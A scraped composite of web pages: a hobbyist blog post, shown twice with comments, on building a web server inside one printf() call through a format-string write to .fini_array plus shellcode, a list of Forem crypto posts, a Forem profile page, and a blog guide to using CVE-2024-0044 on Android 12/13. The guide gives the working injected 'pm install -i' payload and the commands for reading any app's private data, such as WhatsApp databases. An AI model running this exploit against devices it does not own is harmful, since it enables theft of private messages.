happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23681#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Crypto Forem Close Security Follow Hide Hopefully not just an afterthought! Create Post submission guidelines Write as you are pleased, be mindful and keep it civil. Older #security posts 1 2 3 4 5 6 7 8 9 … 75 … 560 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Kapbe Redefines Vaults: Why Systems Inevitably Destabilise When Yield Becomes the Only Metric? czof pbni czof pbni czof pbni Follow Dec 23 '25 Kapbe Redefines Vaults: Why Systems Inevitably Destabilise When Yield Becomes the Only Metric? # crypto # security # web3 Comments Add Comment 3 min read The Sober Conclusion of Kapbe: RWA Is Not About Whether It is "Worth Investing In", but Whether It Is "Properly Understood" czof pbni czof pbni czof pbni Follow Dec 19 '25 The Sober Conclusion of Kapbe: RWA Is Not About Whether It is "Worth Investing In", but Whether It Is "Properly Understood" # blockchain # crypto # security Comments Add Comment 3 min read South Africa vs Nigeria vs Kenya: The Battle to Become Africa's Crypto Capital Jude⚜ Jude⚜ Jude⚜ Follow Dec 3 '25 South Africa vs Nigeria vs Kenya: The Battle to Become Africa's Crypto Capital # web3 # blockchain # cryptocurrency # security 8 reactions Comments 2 comments 13 min read How to Evaluate Smart Device + Token Projects: A Checklist for Crypto Investors & Builders Asher Asher Asher Follow Dec 1 '25 How to Evaluate Smart Device + Token Projects: A Checklist for Crypto Investors & Builders # blockchain # crypto # web3 # security Comments Add Comment 2 min read Key Lessons From the Bitcoin Whitepaper Prince Isaac Israel Prince Isaac Israel Prince Isaac Israel Follow Nov 25 '25 Key Lessons From the Bitcoin Whitepaper # bitcoin # blockchain # security Comments Add Comment 3 min read 第 24.3 课：币安合约交易操作详解 Henry Lin Henry Lin Henry Lin Follow Nov 18 '25 第 24.3 课：币安合约交易操作详解 # crypto # security # tutorial Comments Add Comment 9 min read Crypto Payment Gateways Compared 2026 jimquote jimquote jimquote Follow Dec 11 '25 Crypto Payment Gateways Compared 2026 # crypto # security # web3 1 reaction Comments 2 comments 9 min read Lesson 24.4: Leverage Trading Operations Detailed Guide Henry Lin Henry Lin Henry Lin Follow Nov 18 '25 Lesson 24.4: Leverage Trading Operations Detailed Guide # crypto # security # tutorial Comments Add Comment 19 min read Lesson 14: Risk Management Henry Lin Henry Lin Henry Lin Follow Oct 13 '25 Lesson 14: Risk Management # beginners # tutorial # crypto # security Comments Add Comment 3 min read Bankless: Is Coding a Crime? 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https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/ | Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 I want to make a WhatsApp message backup from a non-rooted Android 12 Phone. A few years ago, I used Whatsapp-Chat-Exporter to convert the backup to HTML, but first, I had to extract the database from the phone. The method pointed out by Whatsapp-Chat-Exporter to extract from non-root has remained the same for many years: downgrade to an old version of WhatsApp that allows backup, then create an Android backup that contains the WhatsApp database. This doesn’t work for WhatsApp for Business because there was no version that allowed backup. Depending on your use case, you might be able to move WhatsApp to a new device that can be rooted and then extract the files there (very easy when you have root access). When looking at the new Zygote Bug by Meta Red Team X (CVE-2024-31317), I thought it could be used to perform backup extraction, but then I saw the previous entry on that blog (CVE-2024-0044), which is much easier to use (but only works in Android 12 and 13 that has not received Marh 2024 security update). CVE-2023-0044 This exploit can work for any non-system app, not just for extracting data from WhatsApp/WhatsApp business. For an expert, the explanation for the exploit is very obvious. I am writing here for end users or beginners who need a step-by-step guide to extracting their WA database. Simple exploit First, you will need to enable USB Debugging and allow installation of APK via USB. Prepare an APK; any APK is fine as long as it can be installed on your device (get an APK from https://f-droid.org/ ). Push the APK file to the device, for example: adb push F-Droid.apk /data/local/tmp/ The exploit is simple. First, we need to have the target uid for WhatsApp. Do adb shell , then from inside adb pm list packages -U|grep com.wha You will see something like this: package:com.whatsapp.w4b uid:10374 package:com.whatsapp uid:10180 If you only have WhatsApp, you will only have the com.whatsapp , and if you only have WhatsApp for Business, you will only have com.whatsapp.w4b . Look at the UID (for example, 10180; this will differ on your phone). Copy and paste this to Notepad, change the UID, and copy it to the clipboard. PAYLOAD="@null victim 10180 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk Or download this text file (in case WordPress messes up the formatting). Note that there is enter after @null , this is what the exploit is all about. Change the UID to match yours. The word victim can be replaced with any 1-word string. You should see something like this: Note that when a new line after @null is pasted, it will show as > on the next line Note that you only need to do this once. Now we can run as WhatsApp user: run-as victim And we can start browsing the files ( ls , cat , etc.). Unfortunately, in Android 13, I was unable to copy the files somewhere else (to /sdcard/ , /data/local/tmp ). But we can do this (but first, exit from run-as by exit or pressing control-d ), then: mkdir /data/local/tmp/wa/ touch /data/local/tmp/wa/wa.tar chmod -R 0777 /data/local/tmp/wa/ run-as victim tar -cf /data/local/tmp/wa/wa.tar com.whatsapp And this is what it should look like: Now we can exit adb ( exit or control-D ) back to the command line, and pull the data: adb pull /data/local/tmp/wa/wa.tar You can then extract the data using any app (the latest Windows can extract tar files, or you can use 7-Zip). Now, you can get the databases from databases folder, and use Whatsapp-Chat-Exporter to convert it to HTML. Conclusion I hope this helps anyone who needs to extract data from their non-root phone. Author admin Posted on June 7, 2024 June 7, 2024 Categories android , mobile , security 9 thoughts on “Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044” Pingback: Exfiltrate sensitive user data from apps on Android 12 and 13 using CVE-2024-0044 vulnerability - Mobile Hacker Pingback: CVE-2024-0044 Exploit PoC: Extract any App Data from Android 12/13 including WhatsApp – Exploit PoC Pingback: 通过“run-as”伪造从Android 12/13应用程序提取敏感数据 - 偏执的码农 Pingback: La vulnerabilidad CVE-2024-0044 afecta a Android - f3nixtech.com Vishnu says: July 24, 2024 at 4:42 am I tried this exploit on a Realme device, but after running the commands and executing run-as victim, it shows “run-as: unknown package: victim”. The payload is not getting injected into packages. What can be done to solve this? The device is realme 7, android 12, Nov ’22 patch. Reply Mod says: July 30, 2024 at 9:01 am Hi, what about the exploitability of cve-2024-31317 that zygote bug you have mentioned. Is there any progress on that? I am trying on the backup extraction of android 14 devices. Poc based on that CVE will be helpful. Can you do something on that? Reply SavSantaWuzHere says: August 17, 2024 at 9:07 am As a frequent user of that tool to backup my ish. Thanks for this bloggo elucidating a alternative method for those of us who need this. Also this is great because some app devs are completely slow or never implement an easy to backup feature. Ask me how many notes I have lost because I changed phones. 😆 Reply Nikhil says: September 11, 2024 at 6:31 pm Getting error run-as: unknown package: victim” other commands worked but this one is getting error. Reply ripped off by realme says: October 5, 2024 at 8:32 pm hi I need temp root poc exploit 0 day vulnerability for Android 14 security patch June 2024 thank you sir. I want to root my phone but the manufacturer won’t allow it by default. My only solution is the temp root method. Can you please help me to root my phone? Just write the download link to the poc here. Thank you sir! Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://forem.com/kawano_aiyuki#main-content | Alyssa - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions Alyssa Designer, developer, & entrepreneur. Founder of Screenity + other ventures. Best woman maker of 2018 (Maker Mag) & nominated as Maker of The Year (Product Hunt) ✅Discord 🌟alyssa945 Location UK Joined Joined on Dec 4, 2025 Personal website https://github.com/alyssaxuu Education Bachelor’s Degree in Computer Science Pronouns She/her Work CPO More info about @kawano_aiyuki Badges 1 Week Community Wellness Streak For actively engaging with the community by posting at least 2 comments in a single week. Got it Close Skills/Languages JavaScript (ES6+), TypeScript,Python,React.js, Next.js,Tailwind CSS, Bootstrap,Responsive & accessible UI design,Node.js, Express,REST APIs,Authentication & Authorization,AI / Data,Cloud fundamentals Currently learning I’m focused on: Advanced Artificial Intelligence & Machine Learning Large Language Models (LLMs) and AI-powered applications Modern full-stack architectures (API-first, cloud-ready) Currently hacking on 🤖 AI-powered web applications 🧠 Smart tools using LLMs 🌍 Scalable full-stack projects 🛠️ Side projects that solve real problems ✍️ Writing about development, AI, and lessons learned Available for 🚀 Startup collaborations 🧠 AI integration & automation Post 1 post published Comment 13 comments written Tag 0 tags followed I Debug Code Like I Debug Life (Spoiler: Both Throw Exceptions) Alyssa Alyssa Alyssa Follow Jan 13 I Debug Code Like I Debug Life (Spoiler: Both Throw Exceptions) # discuss # career # programming # beginners 18 reactions Comments 8 comments 2 min read Want to connect with Alyssa? Create an account to connect with Alyssa. You can also sign in below to proceed if you already have an account. Create Account Already have an account? Sign in loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:47:54 |
